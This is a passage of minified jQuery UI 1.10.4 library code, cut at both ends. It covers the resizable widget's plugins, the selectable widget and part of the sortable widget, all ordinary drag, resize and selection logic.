style='overflow:hidden;'></div>"),this.helper.addClass(this._helper).css({width:this.element.outerWidth()-1,height:this.element.outerHeight()-1,position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++i.zIndex}),this.helper.appendTo("body").disableSelection()):this.helper=this.element},_change:{e:function(e,t){return{width:this.originalSize.width+t}},w:function(e,t){var i=this.originalSize,s=this.originalPosition;return{left:s.left+t,width:i.width-t}},n:function(e,t,i){var s=this.originalSize,n=this.originalPosition;return{top:n.top+i,height:s.height-i}},s:function(e,t,i){return{height:this.originalSize.height+i}},se:function(t,i,s){return e.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[t,i,s]))},sw:function(t,i,s){return e.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[t,i,s]))},ne:function(t,i,s){return e.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[t,i,s]))},nw:function(t,i,s){return e.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[t,i,s]))}},_propagate:function(t,i){e.ui.plugin.call(this,t,[i,this.ui()]),"resize"!==t&&this._trigger(t,i,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),e.ui.plugin.add("resizable","animate",{stop:function(t){var i=e(this).data("ui-resizable"),s=i.options,n=i._proportionallyResizeElements,a=n.length&&/textarea/i.test(n[0].nodeName),o=a&&e.ui.hasScroll(n[0],"left")?0:i.sizeDiff.height,r=a?0:i.sizeDiff.width,h={width:i.size.width-r,height:i.size.height-o},l=parseInt(i.element.css("left"),10)+(i.position.left-i.originalPosition.left)||null,u=parseInt(i.element.css("top"),10)+(i.position.top-i.originalPosition.top)||null;i.element.animate(e.extend(h,u&&l?{top:u,left:l}:{}),{duration:s.animateDuration,easing:s.animateEasing,step:function(){var s={width:parseInt(i.element.css("width"),10),height:parseInt(i.element.css("height"),10),top:parseInt(i.element.css("top"),10),left:parseInt(i.element.css("left"),10)};n&&n.length&&e(n[0]).css({width:s.width,height:s.height}),i._updateCache(s),i._propagate("resize",t)}})}}),e.ui.plugin.add("resizable","containment",{start:function(){var i,s,n,a,o,r,h,l=e(this).data("ui-resizable"),u=l.options,d=l.element,c=u.containment,p=c instanceof e?c.get(0):/parent/.test(c)?d.parent().get(0):c;p&&(l.containerElement=e(p),/document/.test(c)||c===document?(l.containerOffset={left:0,top:0},l.containerPosition={left:0,top:0},l.parentData={element:e(document),left:0,top:0,width:e(document).width(),height:e(document).height()||document.body.parentNode.scrollHeight}):(i=e(p),s=[],e(["Top","Right","Left","Bottom"]).each(function(e,n){s[e]=t(i.css("padding"+n))}),l.containerOffset=i.offset(),l.containerPosition=i.position(),l.containerSize={height:i.innerHeight()-s[3],width:i.innerWidth()-s[1]},n=l.containerOffset,a=l.containerSize.height,o=l.containerSize.width,r=e.ui.hasScroll(p,"left")?p.scrollWidth:o,h=e.ui.hasScroll(p)?p.scrollHeight:a,l.parentData={element:p,left:n.left,top:n.top,width:r,height:h}))},resize:function(t){var i,s,n,a,o=e(this).data("ui-resizable"),r=o.options,h=o.containerOffset,l=o.position,u=o._aspectRatio||t.shiftKey,d={top:0,left:0},c=o.containerElement;c[0]!==document&&/static/.test(c.css("position"))&&(d=h),l.left<(o._helper?h.left:0)&&(o.size.width=o.size.width+(o._helper?o.position.left-h.left:o.position.left-d.left),u&&(o.size.height=o.size.width/o.aspectRatio),o.position.left=r.helper?h.left:0),l.top<(o._helper?h.top:0)&&(o.size.height=o.size.height+(o._helper?o.position.top-h.top:o.position.top),u&&(o.size.width=o.size.height*o.aspectRatio),o.position.top=o._helper?h.top:0),o.offset.left=o.parentData.left+o.position.left,o.offset.top=o.parentData.top+o.position.top,i=Math.abs((o._helper?o.offset.left-d.left:o.offset.left-d.left)+o.sizeDiff.width),s=Math.abs((o._helper?o.offset.top-d.top:o.offset.top-h.top)+o.sizeDiff.height),n=o.containerElement.get(0)===o.element.parent().get(0),a=/relative|absolute/.test(o.containerElement.css("position")),n&&a&&(i-=Math.abs(o.parentData.left)),i+o.size.width>=o.parentData.width&&(o.size.width=o.parentData.width-i,u&&(o.size.height=o.size.width/o.aspectRatio)),s+o.size.height>=o.parentData.height&&(o.size.height=o.parentData.height-s,u&&(o.size.width=o.size.height*o.aspectRatio))},stop:function(){var t=e(this).data("ui-resizable"),i=t.options,s=t.containerOffset,n=t.containerPosition,a=t.containerElement,o=e(t.helper),r=o.offset(),h=o.outerWidth()-t.sizeDiff.width,l=o.outerHeight()-t.sizeDiff.height;t._helper&&!i.animate&&/relative/.test(a.css("position"))&&e(this).css({left:r.left-n.left-s.left,width:h,height:l}),t._helper&&!i.animate&&/static/.test(a.css("position"))&&e(this).css({left:r.left-n.left-s.left,width:h,height:l})}}),e.ui.plugin.add("resizable","alsoResize",{start:function(){var t=e(this).data("ui-resizable"),i=t.options,s=function(t){e(t).each(function(){var t=e(this);t.data("ui-resizable-alsoresize",{width:parseInt(t.width(),10),height:parseInt(t.height(),10),left:parseInt(t.css("left"),10),top:parseInt(t.css("top"),10)})})};"object"!=typeof i.alsoResize||i.alsoResize.parentNode?s(i.alsoResize):i.alsoResize.length?(i.alsoResize=i.alsoResize[0],s(i.alsoResize)):e.each(i.alsoResize,function(e){s(e)})},resize:function(t,i){var s=e(this).data("ui-resizable"),n=s.options,a=s.originalSize,o=s.originalPosition,r={height:s.size.height-a.height||0,width:s.size.width-a.width||0,top:s.position.top-o.top||0,left:s.position.left-o.left||0},h=function(t,s){e(t).each(function(){var t=e(this),n=e(this).data("ui-resizable-alsoresize"),a={},o=s&&s.length?s:t.parents(i.originalElement[0]).length?["width","height"]:["width","height","top","left"];e.each(o,function(e,t){var i=(n[t]||0)+(r[t]||0);i&&i>=0&&(a[t]=i||null)}),t.css(a)})};"object"!=typeof n.alsoResize||n.alsoResize.nodeType?h(n.alsoResize):e.each(n.alsoResize,function(e,t){h(e,t)})},stop:function(){e(this).removeData("resizable-alsoresize")}}),e.ui.plugin.add("resizable","ghost",{start:function(){var t=e(this).data("ui-resizable"),i=t.options,s=t.size;t.ghost=t.originalElement.clone(),t.ghost.css({opacity:.25,display:"block",position:"relative",height:s.height,width:s.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass("string"==typeof i.ghost?i.ghost:""),t.ghost.appendTo(t.helper)},resize:function(){var t=e(this).data("ui-resizable");t.ghost&&t.ghost.css({position:"relative",height:t.size.height,width:t.size.width})},stop:function(){var t=e(this).data("ui-resizable");t.ghost&&t.helper&&t.helper.get(0).removeChild(t.ghost.get(0))}}),e.ui.plugin.add("resizable","grid",{resize:function(){var t=e(this).data("ui-resizable"),i=t.options,s=t.size,n=t.originalSize,a=t.originalPosition,o=t.axis,r="number"==typeof i.grid?[i.grid,i.grid]:i.grid,h=r[0]||1,l=r[1]||1,u=Math.round((s.width-n.width)/h)*h,d=Math.round((s.height-n.height)/l)*l,c=n.width+u,p=n.height+d,f=i.maxWidth&&c>i.maxWidth,m=i.maxHeight&&p>i.maxHeight,g=i.minWidth&&i.minWidth>c,v=i.minHeight&&i.minHeight>p;i.grid=r,g&&(c+=h),v&&(p+=l),f&&(c-=h),m&&(p-=l),/^(se|s|e)$/.test(o)?(t.size.width=c,t.size.height=p):/^(ne)$/.test(o)?(t.size.width=c,t.size.height=p,t.position.top=a.top-d):/^(sw)$/.test(o)?(t.size.width=c,t.size.height=p,t.position.left=a.left-u):(p-l>0?(t.size.height=p,t.position.top=a.top-d):(t.size.height=l,t.position.top=a.top+n.height-l),c-h>0?(t.size.width=c,t.position.left=a.left-u):(t.size.width=h,t.position.left=a.left+n.width-h))}})})(jQuery);(function(e){e.widget("ui.selectable",e.ui.mouse,{version:"1.10.4",options:{appendTo:"body",autoRefresh:!0,distance:0,filter:"*",tolerance:"touch",selected:null,selecting:null,start:null,stop:null,unselected:null,unselecting:null},_create:function(){var t,i=this;this.element.addClass("ui-selectable"),this.dragged=!1,this.refresh=function(){t=e(i.options.filter,i.element[0]),t.addClass("ui-selectee"),t.each(function(){var t=e(this),i=t.offset();e.data(this,"selectable-item",{element:this,$element:t,left:i.left,top:i.top,right:i.left+t.outerWidth(),bottom:i.top+t.outerHeight(),startselected:!1,selected:t.hasClass("ui-selected"),selecting:t.hasClass("ui-selecting"),unselecting:t.hasClass("ui-unselecting")})})},this.refresh(),this.selectees=t.addClass("ui-selectee"),this._mouseInit(),this.helper=e("<div class='ui-selectable-helper'></div>")},_destroy:function(){this.selectees.removeClass("ui-selectee").removeData("selectable-item"),this.element.removeClass("ui-selectable ui-selectable-disabled"),this._mouseDestroy()},_mouseStart:function(t){var i=this,s=this.options;this.opos=[t.pageX,t.pageY],this.options.disabled||(this.selectees=e(s.filter,this.element[0]),this._trigger("start",t),e(s.appendTo).append(this.helper),this.helper.css({left:t.pageX,top:t.pageY,width:0,height:0}),s.autoRefresh&&this.refresh(),this.selectees.filter(".ui-selected").each(function(){var s=e.data(this,"selectable-item");s.startselected=!0,t.metaKey||t.ctrlKey||(s.$element.removeClass("ui-selected"),s.selected=!1,s.$element.addClass("ui-unselecting"),s.unselecting=!0,i._trigger("unselecting",t,{unselecting:s.element}))}),e(t.target).parents().addBack().each(function(){var s,n=e.data(this,"selectable-item");return n?(s=!t.metaKey&&!t.ctrlKey||!n.$element.hasClass("ui-selected"),n.$element.removeClass(s?"ui-unselecting":"ui-selected").addClass(s?"ui-selecting":"ui-unselecting"),n.unselecting=!s,n.selecting=s,n.selected=s,s?i._trigger("selecting",t,{selecting:n.element}):i._trigger("unselecting",t,{unselecting:n.element}),!1):undefined}))},_mouseDrag:function(t){if(this.dragged=!0,!this.options.disabled){var i,s=this,n=this.options,a=this.opos[0],o=this.opos[1],r=t.pageX,h=t.pageY;return a>r&&(i=r,r=a,a=i),o>h&&(i=h,h=o,o=i),this.helper.css({left:a,top:o,width:r-a,height:h-o}),this.selectees.each(function(){var i=e.data(this,"selectable-item"),l=!1;i&&i.element!==s.element[0]&&("touch"===n.tolerance?l=!(i.left>r||a>i.right||i.top>h||o>i.bottom):"fit"===n.tolerance&&(l=i.left>a&&r>i.right&&i.top>o&&h>i.bottom),l?(i.selected&&(i.$element.removeClass("ui-selected"),i.selected=!1),i.unselecting&&(i.$element.removeClass("ui-unselecting"),i.unselecting=!1),i.selecting||(i.$element.addClass("ui-selecting"),i.selecting=!0,s._trigger("selecting",t,{selecting:i.element}))):(i.selecting&&((t.metaKey||t.ctrlKey)&&i.startselected?(i.$element.removeClass("ui-selecting"),i.selecting=!1,i.$element.addClass("ui-selected"),i.selected=!0):(i.$element.removeClass("ui-selecting"),i.selecting=!1,i.startselected&&(i.$element.addClass("ui-unselecting"),i.unselecting=!0),s._trigger("unselecting",t,{unselecting:i.element}))),i.selected&&(t.metaKey||t.ctrlKey||i.startselected||(i.$element.removeClass("ui-selected"),i.selected=!1,i.$element.addClass("ui-unselecting"),i.unselecting=!0,s._trigger("unselecting",t,{unselecting:i.element})))))}),!1}},_mouseStop:function(t){var i=this;return this.dragged=!1,e(".ui-unselecting",this.element[0]).each(function(){var s=e.data(this,"selectable-item");s.$element.removeClass("ui-unselecting"),s.unselecting=!1,s.startselected=!1,i._trigger("unselected",t,{unselected:s.element})}),e(".ui-selecting",this.element[0]).each(function(){var s=e.data(this,"selectable-item");s.$element.removeClass("ui-selecting").addClass("ui-selected"),s.selecting=!1,s.selected=!0,s.startselected=!0,i._trigger("selected",t,{selected:s.element})}),this._trigger("stop",t),this.helper.remove(),!1}})})(jQuery);(function(e){function t(e,t,i){return e>t&&t+i>e}function i(e){return/left|right/.test(e.css("float"))||/inline|table-cell/.test(e.css("display"))}e.widget("ui.sortable",e.ui.mouse,{version:"1.10.4",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_create:function(){var e=this.options;this.containerCache={},this.element.addClass("ui-sortable"),this.refresh(),this.floating=this.items.length?"x"===e.axis||i(this.items[0].item):!1,this.offset=this.element.offset(),this._mouseInit(),this.ready=!0},_destroy:function(){this.element.removeClass("ui-sortable ui-sortable-disabled"),this._mouseDestroy();for(var e=this.items.length-1;e>=0;e--)this.items[e].item.removeData(this.widgetName+"-item");return this},_setOption:function(t,i){"disabled"===t?(this.options[t]=i,this.widget().toggleClass("ui-sortable-disabled",!!i)):e.Widget.prototype._setOption.apply(this,arguments)},_mouseCapture:function(t,i){var s=null,n=!1,a=this;return this.reverting?!1:this.options.disabled||"static"===this.options.type?!1:(this._refreshItems(t),e(t.target).parents().each(function(){return e.data(this,a.widgetName+"-item")===a?(s=e(this),!1):undefined}),e.data(t.target,a.widgetName+"-item")===a&&(s=e(t.target)),s?!this.options.handle||i||(e(this.options.handle,s).find("*").addBack().each(function(){this===t.target&&(n=!0)}),n)?(this.currentItem=s,this._removeCurrentsFromItems(),!0):!1:!1)},_mouseStart:function(t,i,s){var n,a,o=this.options;if(this.currentContainer=this,this.refreshPositions(),this.helper=this._createHelper(t),this._cacheHelperProportions(),this._cacheMargins(),this.scrollParent=this.helper.scrollParent(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},e.extend(this.offset,{click:{left:t.pageX-this.offset.left,top:t.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),this.originalPosition=this._generatePosition(t),this.originalPageX=t.pageX,this.originalPageY=t.pageY,o.cursorAt&&this._adjustOffsetFromHelper(o.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),o.containment&&this._setContainment(),o.cursor&&"auto"!==o.cursor&&(a=this.document.find("body"),this.storedCursor=a.css("cursor"),a.css("cursor",o.cursor),this.storedStylesheet=e("<style>*{ cursor: "+o.cursor+" !important; }</style>").appendTo(a)),o.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",o.opacity)),o.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",o.zIndex)),this.scrollParent[0]!==document&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",t,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!s)for(n=this.containers.length-1;n>=0;n--)this.containers[n]._trigger("activate",t,this._uiHash(this));return e.ui.ddmanager&&(e.ui.ddmanager.current=this),e.ui.ddmanager&&!o.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this.dragging=!0,this.helper.addClass("ui-sortable-helper"),this._mouseDrag(t),!0},_mouseDrag:function(t){var i,s,n,a,o=this.options,r=!1;for(this.position=this._generatePosition(t),this.positionAbs=this._convertPositionTo("absolute"),this.lastPositionAbs||(this.lastPositionAbs=this.positionAbs),this.options.scroll&&(this.scrollParent[0]!==document&&"HTML"!==this.scrollParent[0].tagName?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-t.pageY<o.scrollSensitivity?this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop+o.scrollSpeed:t.pageY-this.overflowOffset.top<o.scrollSensitivity&&(this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop-o.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-t.pageX<o.scrollSensitivity?this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft+o.scrollSpeed:t.pageX-this.overflowOffset.left<o.scrollSensitivity&&(this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft-o.scrollSpeed)):(t.pageY-e(document).scrollTop()<o.scrollSensitivity?r=e(document).scrollTop(e(document).scrollTop()-o.scrollSpeed):e(window).height()-(t.pageY-e(document).scrollTop())<o.scrollSensitivity&&(r=e(document).scrollTop(e(document).scrollTop()+o.scrollSpeed)),t.pageX-e(document).scrollLeft()<o.scrollSensitivity?r=e(document).scrollLeft(e(document).scrollLeft()-o.scrollSpeed):e(window).width()-(t.pageX-e(document).scrollLeft())<o.scrollSensitivity&&(r=e(document).scrollLeft(e(document).scrollLeft()+o.scrollSpeed))),r!==!1&&e.ui.ddmanager&&!o.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t)),this.positionAbs=this._convertPositionTo("absolute"),this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),i=this.items.length-1;i>=0;i--)if(s=this.items[i],n=s.item[0],a=this._intersectsWithPointer(s),a&&s.instance===this.currentContainer&&n!==this.currentItem[0]&&this.placeholder[1===a?"next":"prev"]()[0]!==n&&!e.contains(this.placeholder[0],n)&&("semi-dynamic"===this.options.type?!e.contains(this.element[0],n):!0)){if(this.direction=1===a?"down":"up","pointer"!==this.options.tolerance&&!this._intersectsWithSides(s))break;this._rearrange(t,s),this._trigger("change",t,this._uiHash());break}return this._contactContainers(t),e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),this._trigger("sort",t,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(t,i){if(t){if(e.ui.ddmanager&&!this.options.dropBehaviour&&e.ui.ddmanager.drop(this,t),this.options.revert){var s=this,n=this.placeholder.offset(),a=this.options.axis,o={};a&&"x"!==a||(o.left=n.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===document.body?0:this.offsetParent[0].scrollLeft)),a&&"y"!==a||(o.top=n.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===document.body?0:this.offsetParent[0].scrollTop)),this.reverting=!0,e(this.helper).animate(o,parseInt(this.options.revert,10)||500,function(){s._clear(t)})}else this._clear(t,i);return!1}},cancel:function(){if(this.dragging){this._mouseUp({target:null}),"original"===this.options.helper?this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper"):this.currentItem.show();for(var t=this.containers.length-1;t>=0;t--)this.containers[t]._trigger("deactivate",null,this._uiHash(this)),this.containers[t].containerCache.over&&(this.containers[t]._trigger("out",null,this._uiHash(this)),this.containers[t].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),"original"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),e.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?e(this.domPosition.prev).after(this.currentItem):e(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(t){var i=this._getItemsAsjQuery(t&&t.connected),s=[];return t=t||{},e(i).each(function(){var i=(e(t.item||this).attr(t.attribute||"id")||"").match(t.expression||/(.+)[\-=_](.+)/);i&&s.push((t.key||i[1]+"[]")+"="+(t.key&&t.expression?i[1]:i[2]))}),!s.length&&t.key&&s.push(t.key+"="),s.join("&")},toArray:function(t){var i=this._getItemsAsjQuery(t&&t.connected),s=[];return t=t||{},i.each(function(){s.push(e(t.item||this).attr(t.attribute||"id")||"")}),s},_intersectsWith:function(e){var t=this.positionAbs.left,i=t+this.helperProportions.width,s=this.positionAbs.top,n=s+this.helperProportions.height,a=e.left,o=a+e.width,r=e.top,h=r+e.height,l=this.offset.click.top,u=this.offset.click.left,d="x"===this.options.axis||s+l>r&&h>s+l,c="y"===this.options.axis||t+u>a&&o>t+u,p=d&&c;return"pointer"===this.options.tolerance||this.options.forcePointerForContainers||"pointer"!==this.options.tolerance&&this.helperProportions[this.floating?"width":"height"]>e[this.floating?"width":"height"]?p:t+this.helperProportions.width/2>a&&o>i-this.helperProportions.width/2&&s+this.helperProportions.height/2>r&&h>n-this.helperProportions.height/2},_intersectsWithPointer:function(e){var i="x"===this.options.axis||t(this.positionAbs.top+this.offset.click.top,e.top,e.height),s="y"===this.options.axis||t(this.positionAbs.left+this.offset.click.left,e.left,e.width),n=i&&s,a=this._getDragVerticalDirection(),o=this._getDragHorizontalDirection();return n?this.floating?o&&"right"===o||"down"===a?2:1:a&&("down"===a?2:1):!1},_intersectsWithSides:function(e){var i=t(this.positionAbs.top+this.offset.click.top,e.top+e.height/2,e.height),s=t(this.positionAbs.left+this.offset.click.left,e.left+e.width/2,e.width),n=this._getDragVerticalDirection(),a=this._getDragHorizontalDirection();return this.floating&&a?"right"===a&&s||"left"===a&&!s:n&&("down"===n&&i||"up"===n&&!i)},_getDragVerticalDirection:function(){var e=this.positionAbs.top-this.lastPositionAbs.top;return 0!==e&&(e>0?"down":"up")},_getDragHorizontalDirection:function(){var e=this.positionAbs.left-this.lastPositionAbs.left;return 0!==e&&(e>0?"right":"left")},refresh:function(e){return this._refreshItems(e),this.refreshPositions(),this},_connectWith:function(){var e=this.options;return e.connectWith.constructor===String?[e.connectWith]:e.connectWith},_getItemsAsjQuery:function(t){function i(){r.push(this)}var s,n,a,o,r=[],h=[],l=this._connectWith();if(l&&t)for(s=l.length-1;s>=0;s--)for(a=e(l[s]),n=a.length-1;n>=0;n--)o=e.data(a[n],this.widgetFullName),o&&o!==this&&!o.options.disabled&&h.push([e.isFunction(o.options.items)?o.options.items.call(o.element):e(o.options.items,o.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),o]);for(h.push([e.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):e(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]),s=h.length-1;s>=0;s--)h[s][0].each(i);return e(r)},_removeCurrentsFromItems:function(){var t=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=e.grep(this.items,function(e){for(var i=0;t.length>i;i++)if(t[i]===e.item[0])return!1;return!0})},_refreshItems:function(t){this.items=[],this.containers=[this];var i,s,n,a,o,r,h,l,u=this.items,d=[[e.isFunction(this.options.items)?this.options.items.call(this.element[0],t,{item:this.currentItem}):e(this.options.items,this.element),this]],c=this._connectWith();if(c&&this.ready)for(i=c.length-1;i>=0;i--)for(n=e(c[i]),s=n.length-1;s>=0;s--)a=e.data(n[s],this.widgetFullName),a&&a!==this&&!a.options.disabled&&(d.push([e.isFunction(a.options.items)?a.options.items.call(a.element[0],t,{item:this.currentItem}):e(a.options.items,a.element),a]),this.containers.push(a));for(i=d.length-1;i>=0;i--)for(o=d[i][1],r=d[i][0],s=0,l=r.length;l>s;s++)h=e(r[s]),h.data(this.widgetName+"-item",o),u.push({item:h,instance:o,width:0,height:0,left:0,top:0})},refreshPositions:function(t){this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset());var i,s,n,a;for(i=this.items.length-1;i>=0;i--)s=this.items[i],s.instance!==this.currentContainer&&this.currentContainer&&s.item[0]!==this.currentItem[0]||(n=this.options.toleranceElement?e(this.options.toleranceElement,s.item):s.item,t||(s.width=n.outerWidth(),s.height=n.outerHeight()),a=n.offset(),s.left=a.left,s.top=a.top);if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(i=this.containers.length-1;i>=0;i--)a=this.containers[i].element.offset(),this.containers[i].containerCache.left=a.left,this.containers[i].containerCache.top=a.top,this.containers[i].containerCache.width=this.containers[i].element.outerWidth(),this.containers[i].containerCache.height=this.containers[i].element.outerHeight();return this},_createPlaceholder:function(t){t=t||this;var i,s=t.options;s.placeholder&&s.placeholder.constructor!==String||(i=s.placeholder,s.placeholder={element:function(){var s=t.currentItem[0].nodeName.toLowerCase(),n=e("<"+s+">",t.document[0]).addClass(i||t.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper");return"tr"===s?t.currentItem.children().each(function(){e("<td>&#160;</td>",t.document[0]).attr("colspan",e(this).attr("colspan")||1).appendTo(n)}):"img"===s&&n.attr("src",t.currentItem.attr("src")),i||n.css("visibility","hidden"),n},update:function(e,n){(!i||s.forcePlaceholderSize)&&(n.height()||n.height(t.currentItem.innerHeight()-parseInt(t.currentItem.css("paddingTop")||0,10)-parseInt(t.currentItem.css("paddingBottom")||0,10)),n.width()||n.width(t.currentItem.innerWidth()-parseInt(t.currentItem.css("paddingLeft")||0,10)-parseInt(t.currentItem.css("paddingRight")||0,10)))}}),t.placeholder=e(s.placeholder.element.call(t.element,t.currentItem)),t.currentItem.after(t.placeholder),s.placeholder.update(t,t.placeholder)},_contactContainers:function(s){var n,a,o,r,h,l,u,d,c,p,f=null,m=null;for(n=this.containers.length-1;n>=0;n--)if(!e.contains(this.currentItem[0],this.containers[n].element[0]))if(this._intersectsWith(this.containers[n].containerCache)){if(f&&e.contains(this.containers[n].element[0],f.element[0]))continue;f=this.containers[n],m=n}else this.containers[n].containerCache.over&&(this.containers[n]._trigger("out",s,this._uiHash(this)),this.containers[n].containerCache.over=0);if(f)if(1===this.containers.length)this.containers[m].containerCache.over||(this.containers[m]._trigger("over",s,this._uiHash(this)),this.containers[m].containerCache.over=1);else{for(o=1e4,r=null,p=f.floating||i(this.currentItem),h=p?"left":"top",l=p?"width":"height",u=this.positionAbs[h]+this.offset.click[h],a=this.items.length-1;a>=0;a--)e.contains(this.containers[m].element[0],this.items[a].item[0])&&this.items[a].item[0]!==this.currentItem[0]&&(!p||t(this.positionAbs.top+this.offset.click.top,this.items[a].top,this.items[a].height))&&(d=this.items[a].item.offset()[h],c=!1,Math.abs(d-u)>Math.abs(d+this.items[a][l]-u)&&(c=!0,d+=this.items[a][l]),o>Math.abs(d-u)&&(o=Math.abs(d-u),r=this.items[a],this.direction=c?"up":"down"));if(!r&&!this.options.dropOnEmpty)return;if(this.currentContainer===this.containers[m])return;r?this._rearrange(s,r,null,!0):this._rearrange(s,null,this.containers[m].element,!0),this._trigger("change",s,this._uiHash()),this.containers[m]._trigger("change",s,this._uiHash(this)),this.currentContainer=this.containers[m],this.options.placeholder.update(this.currentContainer,this.placeholder),this.containers[m]._trigger("over",s,this._uiHash(this)),this.containers[m].containerCache.over=1}},_createHelper:function(t){var i=this.options,s=e.isFunction(i.helper)?e(i.helper.apply(this.element[0],[t,this.currentItem])):"clone"===i.helper?this.currentItem.clone():this.currentItem;return s.parents("body").length||e("parent"!==i.appendTo?i.appendTo:this.currentItem[0].parentNode)[0].appendChild(s[0]),s[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}),(!s[0].style.width||i.forceHelperSize)&&s.width(this.currentItem.width()),(!s[0].style.height||i.forceHelperSize)&&s.height(this.currentItem.height()),s},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),e.isArray(t)&&(t={left:+t[0],top:+t[1]||0}),"left"in t&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var t=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),(this.offsetParent[0]===document.body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&e.ui.ie)&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"===this.cssPosition){var e=this.currentItem.position();return{top:e.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:e.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,i,s,n=this.options;"parent"===n.containment&&(n.containment=this.helper[0].parentNode),("document"===n.containment||"window"===n.containment)&&(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,e("document"===n.containment?document:window).width()-this.helperProportions.width-this.margins.left,(e("document"===n.containment?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]),/^(document|window|parent)$/.test(n.containment)||(t=e(n.containment)[0],i=e(n.containment).offset(),s="hidden"!==e(t).css("overflow"),this.containment=[i.left+(parseInt(e(t).css("borderLeftWidth"),10)||0)+(parseInt(e(t).css("paddingLeft"),10)||0)-this.margins.left,i.top+(parseInt(e(t).css("borderTopWidth"),10)||0)+(parseInt(e(t).css("paddingTop"),10)||0)-this.margins.top,i.left+(s?Math.max(t.scrollWidth,t.offsetWidth):t.offsetWidth)-(parseInt(e(t).css("borderLeftWidth"),10)||0)-(parseInt(e(t).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,i.top+(s?Math.max(t.scrollHeight,t.offsetHeight):t.offsetHeight)-(parseInt(e(t).css("borderTopWidth"),10)||0)-(parseInt(e(t).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(t,i